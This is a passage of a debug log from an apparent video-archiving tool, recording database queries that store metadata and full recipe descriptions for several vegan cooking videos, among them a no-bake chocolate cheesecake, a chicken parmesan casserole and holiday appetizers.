\u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan NO BAKE Chocolate Cheesecake Recipe! High-protein and gluten-free", "838b6d28-c001-4b89-b556-9e8d34e2daaf", 1, [], false, "PQGeREM9NiA", "https://www.youtube.com/watch?v=PQGeREM9NiA", 237, "/downloads/downloads/alec/Steamy Vegan/2023-12-20 Vegan NO BAKE Chocolate Cheesecake Recipe! High-protein and gluten-free/Vegan NO BAKE Chocolate Cheesecake Recipe! High-protein and gluten-free [PQGeREM9NiA].NA", false, false, false, 1, ~U[2023-12-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm showing you how to make the most EPIC vegan no bake chocolate cheesecake recipe ever! It's completely vegan, dairy-free, gluten-free and is made with whole foods! It is so rich, creamy, sweet and indulgent yet can you believe that it's made with TOFU?! Compared to other dairy-free cheesecakes out there this vegan chocolate cheesecake has more protein (12 grams!) per serving.\n\nCraving more chocolatey goodness? Check out my 'SWEET TREATS' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nVEGAN NO BAKE CHOCOLATE CHEESECAKE RECIPE\n\n\nFILLING:\n1 package medium firm tofu\n½ cup cashews, soaked\n½ cup melted semi-sweet chocolate chips\n¾ cup cocoa powder, sifted\n½ cup granulated sweetener\n1 tsp instant coffee + 2 tbsp hot water\n1 tsp vanilla extract\n2 tbsp tahini\n2 tbsp soy milk\n2 tbsp lemon juice\n\nCRUST:\n1 cup pecans\n¾ cup oat flour\nPinch of salt\n3 medjool dates, pitted\n¼ cup maple syrup\n\nUsing a food processor, combine the pecans, oat flour, salt, medjool dates and maple syrup and blend until a thick, sticky ‘dough’ forms.\nPress the dough into the bottom of a 9” springform pan in an even layer, building up the edges slightly.\nPlace in the freezer for 30 minutes while you prepare the filling.\n\nMelt the chocolate chips in the microwave in 30 second intervals, stirring in between each interval.\n\nInto the bowl of a food processor, add all the ingredients for the filling and blend on high speed until smooth. You may need to stop and scrape down the sides a few times!\n\nPour the cheesecake filling into the crust and smooth into an even layer. Return to the freezer for 4 to 6 hours for it to completely set.\n\nOptional topping: Melt 1 cup of semi-sweet chocolate chips and pour overtop. Smooth into an even layer, letting some drip down the edges for a pretty effect. Garnish with chopped pecans, slice and serve!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan NO BAKE Chocolate Cheesecake Recipe! High-protein and gluten-free", 1, nil, false, "PQGeREM9NiA", "https://www.youtube.com/watch?v=PQGeREM9NiA", "/downloads/downloads/alec/Steamy Vegan/2023-12-20 Vegan NO BAKE Chocolate Cheesecake Recipe! High-protein and gluten-free/Vegan NO BAKE Chocolate Cheesecake Recipe! High-protein and gluten-free [PQGeREM9NiA].NA", false, ~U[2023-12-20 00:00:00Z]] 20:31:07.855 [debug] QUERY OK source="sources" db=1.5ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.858 [debug] QUERY OK source="media_items" db=2.6ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-16 00:00:00Z], 1] 20:31:07.860 [debug] QUERY OK source="media_items" db=1.3ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how easy to make an entirely VEGAN chicken parmesan casserole! Because it's a dump and bake recipe it only take a few minutes to throw it together and pop it in the oven. It's also packed full of protein from the nutritious Soy Curls that replace the chicken in this recipe! Can't wait for you to try this easy vegan dump and bake recipe!\n\nCraving more pasta? Check out my entire 'PASTAS' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\nVEGAN CHICKEN PARM DUMP AND BAKE CASSEROLE\n1 16 oz, package short-noodle pasta (penne, rigatoni, fusilli)\n1 8 oz package of soy curls, rehydrated\n1 24 oz. jar marinara\n3 cups water\n1½ tsp salt\n1½ tsp Italian seasoning\n2 tsp garlic powder\n1 tsp onion powder\nBlack pepper to taste\n1½ to 2 cups vegan mozza shreds\n½ cup vegan Parmesan \n1 cup GF breadcrumbs\nFresh chopped herbs for garnish\n\n\nPreheat oven to 425°F and lightly spray a 9x13 casserole dish with cooking spray.\n\nPour the entire bag of soy curls into a large bowl and pour boiling hot water over them until covered. Place a plate or lid on top and let the soy curls soak and rehydrate for 10 minutes. Strain out the water in a large colander and press out most of the remaining water with the back of a large spoon or spatula.\n\nIn the prepared casserole dish (or in a separate large mixing bowl), stir together\u00A0uncooked\u00A0pasta, marinara sauce, water, spices, salt, pepper, and rehyrdrated soy curls. Press the noodles and soy curls under the liquid to ensure they cook evenly with no dry spots. If you need more water, add ½ cup a a time until the noodles are just barely submerged.\n\nCover the dish tightly with aluminum foil to ensure that no moisture escapes while cooking. Bake the covered dish for 30 minutes.Remove from the oven, uncover and give it all a good stir. The noodles won’t be 100% cooked and there might still be extra liquid in the dish and that’s okay!Spread the vegan mozzarella shreds over the top and sprinkle with breadcrumbs and vegan parmesan cheese. Bake\u00A0uncovered\u00A0for 10-15 more minutes or until the cheese is melty, the breadcrumbs are golden brown, and pasta is cooked through.\n\nGarnish with fresh basil or parsley, serve and enjoy!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Chicken Parmesan Casserole! Dump and Bake Recipe", "5a4dbd87-2906-4be9-8052-40c00b52b722", 1, [], false, "3lHkTLlBekw", "https://www.youtube.com/watch?v=3lHkTLlBekw", 238, "/downloads/downloads/alec/Steamy Vegan/2023-12-16 VEGAN Chicken Parmesan Casserole! Dump and Bake Recipe/VEGAN Chicken Parmesan Casserole! Dump and Bake Recipe [3lHkTLlBekw].NA", false, false, false, 1, ~U[2023-12-16 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you how easy to make an entirely VEGAN chicken parmesan casserole! Because it's a dump and bake recipe it only take a few minutes to throw it together and pop it in the oven. It's also packed full of protein from the nutritious Soy Curls that replace the chicken in this recipe! Can't wait for you to try this easy vegan dump and bake recipe!\n\nCraving more pasta? Check out my entire 'PASTAS' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\nVEGAN CHICKEN PARM DUMP AND BAKE CASSEROLE\n1 16 oz, package short-noodle pasta (penne, rigatoni, fusilli)\n1 8 oz package of soy curls, rehydrated\n1 24 oz. jar marinara\n3 cups water\n1½ tsp salt\n1½ tsp Italian seasoning\n2 tsp garlic powder\n1 tsp onion powder\nBlack pepper to taste\n1½ to 2 cups vegan mozza shreds\n½ cup vegan Parmesan \n1 cup GF breadcrumbs\nFresh chopped herbs for garnish\n\n\nPreheat oven to 425°F and lightly spray a 9x13 casserole dish with cooking spray.\n\nPour the entire bag of soy curls into a large bowl and pour boiling hot water over them until covered. Place a plate or lid on top and let the soy curls soak and rehydrate for 10 minutes. Strain out the water in a large colander and press out most of the remaining water with the back of a large spoon or spatula.\n\nIn the prepared casserole dish (or in a separate large mixing bowl), stir together\u00A0uncooked\u00A0pasta, marinara sauce, water, spices, salt, pepper, and rehyrdrated soy curls. Press the noodles and soy curls under the liquid to ensure they cook evenly with no dry spots. If you need more water, add ½ cup a a time until the noodles are just barely submerged.\n\nCover the dish tightly with aluminum foil to ensure that no moisture escapes while cooking. Bake the covered dish for 30 minutes.Remove from the oven, uncover and give it all a good stir. The noodles won’t be 100% cooked and there might still be extra liquid in the dish and that’s okay!Spread the vegan mozzarella shreds over the top and sprinkle with breadcrumbs and vegan parmesan cheese. Bake\u00A0uncovered\u00A0for 10-15 more minutes or until the cheese is melty, the breadcrumbs are golden brown, and pasta is cooked through.\n\nGarnish with fresh basil or parsley, serve and enjoy!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN Chicken Parmesan Casserole! Dump and Bake Recipe", 1, nil, false, "3lHkTLlBekw", "https://www.youtube.com/watch?v=3lHkTLlBekw", "/downloads/downloads/alec/Steamy Vegan/2023-12-16 VEGAN Chicken Parmesan Casserole! Dump and Bake Recipe/VEGAN Chicken Parmesan Casserole! Dump and Bake Recipe [3lHkTLlBekw].NA", false, ~U[2023-12-16 00:00:00Z]] 20:31:07.861 [debug] QUERY OK source="sources" db=0.5ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.863 [debug] QUERY OK source="media_items" db=1.9ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-13 00:00:00Z], 1] 20:31:07.865 [debug] QUERY OK source="media_items" db=1.7ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make 4 DELICIOUS and EASY vegan appetizers perfect for your next holiday party! With only 15 minutes or so of hands-on time, these are all great make ahead recipes!\n\nRECIPES IN THIS VIDEO\nCHEEZY KRAB STUFFED SHROOMS\n1 lb. cremini or white mushrooms (approx 12-14), cleaned\n1 can chickpeas, drained and rinsed\n1 cup vegan mozzarella cheese\n¼ cup vegan mayo\n1 tap Old Bay seasoning\n\n1. Remove stems from mushrooms and set aside. Place mushrooms hole-side down on airfryer basket, air fry for 3 minutes at 400F. Remove from airfryer basket and set aside.\n2. To a large mixing bowl add the chickpeas and mash well with a fork or potato masher. Add all remaining ingredients and mix well to combine.\n3. Spoon out approx 2 tbsp of filling into each mushroom cap, overfilling into a nice mound on top. Place back into airfryer basket and air fry once more for 8 to 10 minutes or until the top begins to brown and the cheese is melty.\n4. Transfer shrooms to a serving plate, garnish with chopped herbs or choice and enjoy!\n\nZESTY PINWHEELS\n2 to 3 large fresh tortillas of choice, whole wheat or gluten-free\n1 8 oz. container vegan cream cheese, plain or herby (Or use my recipe here: https://steamyvegan.com/tofu-cream-ch...)\n2 to 3 tbsp Jalapeno pepper jelly\nHalf a red bell pepper, finely chopped\nHalf a green bell pepper, finely chopped\n¼ cup chopped pickled jalapeños \n1 tbsp dried chives\n1 tsp garlic powder\n½ tsp smoked paprika\n½ tsp sea salt\n¼ tsp fresh cracked black pepper\n¼ cup fresh chopped cilantro (optional garnish)\n\n1. Into a large mixing bowl combine the cream cheese, bell peppers, jalapenos and spices until it's a chunky mixture.\n2. Spread about 1 tbsp of pepper jelly onto a tortilla in a nice even layer almost to the edges. Then spread about a ¼ cup or more of the cream cheese spread over the jelly. Roll the tortilla up into a tight roll, sealing the edges. Place roll onto a plate and repeat with all remaning tortillas and filling. Refrigerate for 30 minutes to firm up.\n3. Transfer rolls to a cutting board and slice them into roughly ½\" inch rounds. Arrange them cut sides down on a serving platter, garnish with fresh chopped cilantro and enjoy!\n\nPESTO & CHUTNEY CROSTINIS\n1 loaf of baguette (I used Schär's GF baguette)\n2 tbsp olive or avocado oil for brushing\nShredded vegan parmesan cheese for garnish (optional)\nCranberry Chutney\n2 cups fresh or frozen cranberries\n1 large apple, cored and diced\n1 cup fresh apple cider\n½ cup coconut sugar or brown sugar\n¼ cup apple cider vinegar\nLeaves from 1 sprig rosemary, finely minced\n1 tsp red chili flakes\n1 tsp ground sumac\n½ tsp allspice\n1 tsp sea salt\n\n1 batch of Basil Pesto (recipe in this video here: \u00A0\u00A0\u00A0•\u00A03\u00A0EASY\u00A0VEGAN\u00A0GLUTEN-FREE\u00A0LUNCH\u00A0IDEAS\u00A0//\u00A0Wh...\u00A0\u00A0)\n\n1. Make the chutney: Add all of the chutney ingredients into a large saucepan, mix to combine and bring to a low boil on medium-high heat. Once it's reached boiling bring heat to medium-low and cook uncovered for about 15 minutes, stirring occasionally until the mixture has thickened significantly.\n2. Remove from heat and let cool in the pan until its room temp.\n3. Cut the baguette into approx ¼\" thick rounds and transfer to a baking tray. Lightly brush each side with oil and place the tray under your ovens broiler for about 4 minutes until golden, turning them over halfway.\n4. Spread approx 1 tbsp of basil pesto onto each crostini, followed by a nice dollop of the cranberry chutney on top. Garnish with vegan parmesan cheese, serve and enjoy!\n\nHOLIDAY CHEESEBALL\n1 block extra firm tofu (or 8 oz), patted dry\n1 cup cashews, soaked overnight or in boiled water for 1 hour\n¼ cup full fat coconut milk\n2 tbsp yellow mustard\n2 tsp sea salt\n2 tbsp lemon juice \n1 tbsp tamari\n2 tsp onion powder\n1 tsp garlic powder\n½ tsp ground pepper\nLeaves from 1 sprig of rosemary, minced\nfor the crust\n¼ cup dried currants\n¼ cup hemp hearts\n¼ cup chopped pecans\n¼ cup vegan parmesan cheese\n1 sprig of rosemary, minced\n½ tsp fresh cracked black pepper\n\n1. Break the tofu into chunks and place in the bowl of a food processor, followed by th" <> ..., "Let's PARTY! Easy 15 minute vegan appetizer recipes", "c24d473c-d056-4da8-bb43-a1668edaad75", 1, [], false, "2rjPzKz9ZSc", "https://www.youtube.com/watch?v=2rjPzKz9ZSc", 239, "/downloads/downloads/alec/Steamy Vegan/2023-12-13 Let's PARTY! Easy 15 minute vegan appetizer recipes/Let's PARTY! Easy 15 minute vegan appetizer recipes [2rjPzKz9ZSc].NA", false, false, false, 1, ~U[2023-12-13 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you how to make 4 DELICIOUS and EASY vegan appetizers perfect for your next holiday party! With only 15 minutes or so of hands-on time, these are all great make ahead recipes!\n\nRECIPES IN THIS VIDEO\nCHEEZY KRAB STUFFED SHROOMS\n1 lb. cremini or white mushrooms (approx 12-14), cleaned\n1 can chickpeas, drained and rinsed\n1 cup vegan mozzarella cheese\n¼ cup vegan mayo\n1 tap Old Bay seasoning\n\n1. Remove stems from mushrooms and set aside. Place mushrooms hole-side down on airfryer basket, air fry for 3 minutes at 400F. Remove from airfryer basket and set aside.\n2. To a large mixing bowl add the chickpeas and mash well with a fork or potato masher. Add all remaining ingredients and mix well to combine.\n3. Spoon out approx 2 tbsp of filling into each mushroom cap, overfilling into a nice mound on top. Place back into airfryer basket and air fry once more for 8 to 10 minutes or until the top begins to brown and the cheese is melty.\n4. Transfer shrooms to a serving plate, garnish with chopped herbs or choice and enjoy!\n\nZESTY PINWHEELS\n2 to 3 large fresh tortillas of choice, whole wheat or gluten-free\n1 8 oz. container vegan cream cheese, plain or herby (Or use my recipe here: https://steamyvegan.com/tofu-cream-ch...)\n2 to 3 tbsp Jalapeno pepper jelly\nHalf a red bell pepper, finely chopped\nHalf a green bell pepper, finely chopped\n¼ cup chopped pickled jalapeños \n1 tbsp dried chives\n1 tsp garlic powder\n½ tsp smoked paprika\n½ tsp sea salt\n¼ tsp fresh cracked black pepper\n¼ cup fresh chopped cilantro (optional garnish)\n\n1. Into a large mixing bowl combine the cream cheese, bell peppers, jalapenos and spices until it's a chunky mixture.\n2. Spread about 1 tbsp of pepper jelly onto a tortilla in a nice even layer almost to the edges. Then spread about a ¼ cup or more of the cream cheese spread over the jelly. Roll the tortilla up into a tight roll, sealing the edges. Place roll onto a plate and repeat with all remaning tortillas and filling. Refrigerate for 30 minutes to firm up.\n3. Transfer rolls to a cutting board and slice them into roughly ½\" inch rounds. Arrange them cut sides down on a serving platter, garnish with fresh chopped cilantro and enjoy!\n\nPESTO & CHUTNEY CROSTINIS\n1 loaf of baguette (I used Schär's GF baguette)\n2 tbsp olive or avocado oil for brushing\nShredded vegan parmesan cheese for garnish (optional)\nCranberry Chutney\n2 cups fresh or frozen cranberries\n1 large apple, cored and diced\n1 cup fresh apple cider\n½ cup coconut sugar or brown sugar\n¼ cup apple cider vinegar\nLeaves from 1 sprig rosemary, finely minced\n1 tsp red chili flakes\n1 tsp ground sum (truncated) 20:31:07.866 [debug] QUERY OK source="sources" db=0.9ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.870 [debug] QUERY OK source="media_items" db=2.4ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-10 00:00:00Z], 1] 20:31:07.872 [debug] QUERY OK source="media_items" db=1.6ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you all the cozy vegan (and gluten-free) meals I made and really enjoyed on this almost winters day. I did some experimenting with recipes I’ve never made before, while also sticking to some of my everyday favourites that I love!\n\nCheck out my full ‘WHAT I EAT’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFeeling festive? 🎄 Watch my ‘HOLIDAY’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\nRECIPES MENTIONED IN THIS VIDEO\n\nGINGERBREAD PANCAKES\n1¼ GF flour blend or pancake mix\n1 tbsp ground flaxseed\n1½ tbsp molasses\n2 heaping tbsp coconut sugar (or brown sugar)\n¾ tsp ground ginger\n½ tsp cinnamon\n¼ tps ground nutmeg\nPinch of salt\n2 tsp baking powder\n2 cups unsweetened plant milk (I used soy)\n\nMix all the dry ingredients in a large mixing bowl, then add the milk and whisk to combine a pourable batter. Let sit for 5 minutes. If it’s too thick after that time thin it out with ¼ cup more milk or water until it’s at the consistency you like.\nPour ⅓ cup dollops into a hot skillet and cook on each side for 2 to 3 minutes until golden. Serve with maple syrup or your favourite pancake toppings!\n\nPORCUPINE MEATBALLS \nWatch recipe here ✨ \u00A0\u00A0\u00A0•\u00A0Grandma's\u00A0100\u00A0Year\u00A0Old\u00A0Recipes\u00A0Made\u00A0VEGAN!...\u00A0\u00A0\n\nLAZY INSTANT POT LASAGNA\n1 onion, diced\n4 cloves garlic, minced\n1 lb. plant-based beef (I used @Beyondmeat)\n1 24 oz. jar marinara sauce\n1½ tbsp Italian seasoning\n2½ cups veggie broth\n1 package lasagna sheets (gluten-free if needed)\nVegan mozzarella cheese shreds (optional)\nTofu Ricotta (optional)\nSalt and pepper to taste\n\n1. Sauté onion and garlic in some oil or water in the instant pot, about 2-3 minutes until becoming translucent and fragrant. Add in beyond meat and continue cooking until almost fully cooked through, about 5 to 6 minutes.\n2. Add the marinara, Italian seasoning, salt and pepper, and veggie broth and stir until all is combined. Turn off sauté function. Layer in the lasagna sheets and press them under the sauce as you go. Spread tofu ricotta on top.\n3. Seal the lid, set to manual pressure cook for 7 minutes. Do a natural pressure release for 5 minutes, then finish off with a quick release.\n4. Top with mozzarella shreds, replace lid and let melt for 5 minutes. Serve and garnish with vegan parmesan cheese and enjoy!\n\nCHRISTMAS COOKIES\nRecipes here ✨\u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat in a Day | Yummy holiday eats and festive crafts", "428fd2f6-0447-49e4-97e9-2dcd3bb02000", 1, [], false, "_-3ZRq8yM4U", "https://www.youtube.com/watch?v=_-3ZRq8yM4U", 240, "/downloads/downloads/alec/Steamy Vegan/2023-12-10 VEGAN What I Eat in a Day | Yummy holiday eats and festive crafts/VEGAN What I Eat in a Day | Yummy holiday eats and festive crafts [_-3ZRq8yM4U].NA", false, false, false, 1, ~U[2023-12-10 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I show you all the cozy vegan (and gluten-free) meals I made and really enjoyed on this almost winters day. I did some experimenting with recipes I’ve never made before, while also sticking to some of my everyday favourites that I love!\n\nCheck out my full ‘WHAT I EAT’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFeeling festive? 🎄 Watch my ‘HOLIDAY’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\nRECIPES MENTIONED IN THIS VIDEO\n\nGINGERBREAD PANCAKES\n1¼ GF flour blend or pancake mix\n1 tbsp ground flaxseed\n1½ tbsp molasses\n2 heaping tbsp coconut sugar (or brown sugar)\n¾ tsp ground ginger\n½ tsp cinnamon\n¼ tps ground nutmeg\nPinch of salt\n2 tsp baking powder\n2 cups unsweetened plant milk (I used soy)\n\nMix all the dry ingredients in a large mixing bowl, then add the milk and whisk to combine a pourable batter. Let sit for 5 minutes. If it’s too thick after that time thin it out with ¼ cup more milk or water until it’s at the consistency you like.\nPour ⅓ cup dollops into a hot skillet and cook on each side for 2 to 3 minutes until golden. Serve with maple syrup or your favourite pancake toppings!\n\nPORCUPINE MEATBALLS \nWatch recipe here ✨ \u00A0\u00A0\u00A0•\u00A0Grandma's\u00A0100\u00A0Year\u00A0Old\u00A0Recipes\u00A0Made\u00A0VEGAN!...\u00A0\u00A0\n\nLAZY INSTANT POT LASAGNA\n1 onion, diced\n4 cloves garlic, minced\n1 lb. plant-based beef (I used @Beyondmeat)\n1 24 oz. jar marinara sauce\n1½ tbsp Italian seasoning\n2½ cups veggie broth\n1 package lasagna sheets (gluten-free if needed)\nVegan mozzarella cheese shreds (optional)\nTofu Ricotta (optional)\nSalt and pepper to taste\n\n1. Sauté onion and garlic in some oil or water in the instant pot, about 2-3 minutes until becoming translucent and fragrant. Add in beyond meat and continue cooking until almost fully cooked through, about 5 to 6 minutes.\n2. Add the marinara, Italian seasoning, salt and pepper, and veggie broth and stir until all is combined. Turn off sauté function. Layer in the lasagna sheets and press them under the sauce as you go. Spread tofu ricotta on top.\n3. Seal the lid, set to manual pressure cook for 7 minutes. Do a natural pressure release for 5 minutes, then finish off with a quick release.\n4. Top with mozzarella shreds, replace lid and let melt for 5 minutes. Serve and garnish with vegan parmesan cheese and enjoy!\n\nCHRISTMAS COOKIES\nRecipes here ✨\u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat in a Day | Yummy holiday eats and festive crafts", 1, nil, false, "_-3ZRq8yM4U", "https://www.youtube.com/watch?v=_-3ZRq8yM4U", "/downloads/downloads/alec/Steamy Vegan/2023-12-10 VEGAN What I Eat in a Day | Yummy holiday eats and festive crafts/VEGAN What I Eat in a Day | Yummy holiday eats and festive crafts [_-3ZRq8yM4U].NA", false, ~U[2023-12-10 00:00:00Z]] 20:31:07.873 [debug] QUERY OK source="sources" db=0.9ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.876 [debug] QUERY OK source="media_items" db=2.5ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-07 00:00:00Z], 1] 20:31:07.880 [debug] QUERY OK source="media_items" db=2.5ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm going over my 4 MORE of my favourite Christmas Gift Ideas for foodies! There's nothing quite as thoughtful as giving and receiving some delicious homemade gifts at the holidays and these 4 recipes will be total hits with everyone you make them for. They're all vegan and gluten-free and absolutely yummy!\n\nCheck out my full ''HOLIDAY RECIPES' playlist! 🎄 \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\n✨ RECIPES IN THIS 